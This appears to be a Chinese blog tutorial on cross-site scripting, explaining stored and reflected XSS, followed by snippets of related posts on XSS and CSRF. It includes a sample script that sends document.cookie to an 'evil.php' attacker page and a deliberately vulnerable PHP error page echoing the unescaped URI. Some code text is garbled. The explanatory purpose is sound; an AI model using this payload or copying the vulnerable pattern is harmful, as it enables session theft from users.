web安全之xss攻擊

2022-08-19 23:48:12 字數 1228 閱讀 2589

xss攻擊的全稱是cross-site scripting (xss)攻擊,是一種注入式攻擊。基本的做法是把惡意**注入到目標**。由於瀏覽器在開啟目標**的時候並不知道哪些指令碼是惡意的,所以瀏覽器會無差別執行惡意指令碼,從而導致使用者資訊和一些敏感資訊被盜取和洩漏。

xss一般分為兩種型別,持久化的xss和非持久化的xss。

下面這個例子演示了攻擊者如何通過注入惡意**去盜取使用者的cookie的。

假設攻擊者在某個論壇發了個帖子,在帖子裡包含了如下的惡意**

var adr = '../evil.php?cakemonster=' + escape(document.cookie);

script>

那麼其他使用者在瀏覽這個帖子的時候,上面的**就會被瀏覽器執行,從而將使用者的cookie資訊傳送到了/evil.php?,這個攻擊者搭建的惡意站點。由於cookie裡包含了使用者的一些登入態和敏感資訊,所以訪問這個帖子的使用者會面臨被盜號的風險。

還原一下這次攻擊的過程

上面的例子攻擊**持久化在了資料庫裡,非持久化的攻擊則不需要這樣,看下面的例子。

假設我們有這樣的乙個錯誤頁面,用php實現的

<? php

print "not found: " . urldecode($_server["request_uri"]);

?>

當使用者訪問的頁面不存在時候,上面的頁面會自動載入,並且print "not found: " . urldecode($_server["request_uri"]);這一行會列印出不存在頁面的具體url。

舉個例子,當使用者訪問www.example.com/page_missing頁面時,由於page_missing頁面不存在,所以example.com會自動跳轉到page_missing路徑,並在頁面上列印出not found: page_missing字串。

如果攻擊者構造了這樣乙個鏈結,誘導使用者訪問,那麼普通使用者訪問該鏈結時,因為/會被列印在頁面上並當作普通指令碼執行,這樣一來,如果攻擊者構造的指令碼裡包含獲取使用者敏感資訊的**,那麼使用者的資訊將被洩漏。

還原一下這次攻擊的過程

xss攻擊是目前最常見的web攻擊形式,大家可以通過上面的例子管中窺豹一下,其核心的攻擊方式是惡意**注入,瀏覽器將注入的**當成普通指令碼正常執行。

web安全 XSS攻擊

xss xss,即為 cross site scripting 中文名為跨站指令碼 不使用css縮寫是為了與層疊樣式表區分 是發生在目標使用者的瀏覽器層面上的,當渲染dom樹的過程成執行了不在預期內的js 時,就發生了xss攻擊。xss分為反射型xss,儲存型xss和dom xss 1 反射型xss...

web安全(xss攻擊和csrf攻擊)

1 csrf攻擊 csrf cross site request forgery 跨站請求偽造。1 攻擊原理 如上圖,在b 引誘使用者訪問a 使用者之前登入過a 瀏覽器 cookie 快取了身份驗證資訊 通過呼叫a 的介面攻擊a 2 防禦措施 1 token驗證 登陸成功後伺服器下發token令牌存...

web安全防範之XSS漏洞攻擊

原文出處 url 這篇部落格也不錯 url 通常會遇到的攻擊 攻擊方法也很多 原理 向網頁內注入可執行 從而達到入侵目的。危害 破壞頁面結構,導致頁面顯示問題 更嚴重的會盜取當前使用者的cookie,導致你的賬號被盜等 function escape html t n n t n 0 g var s...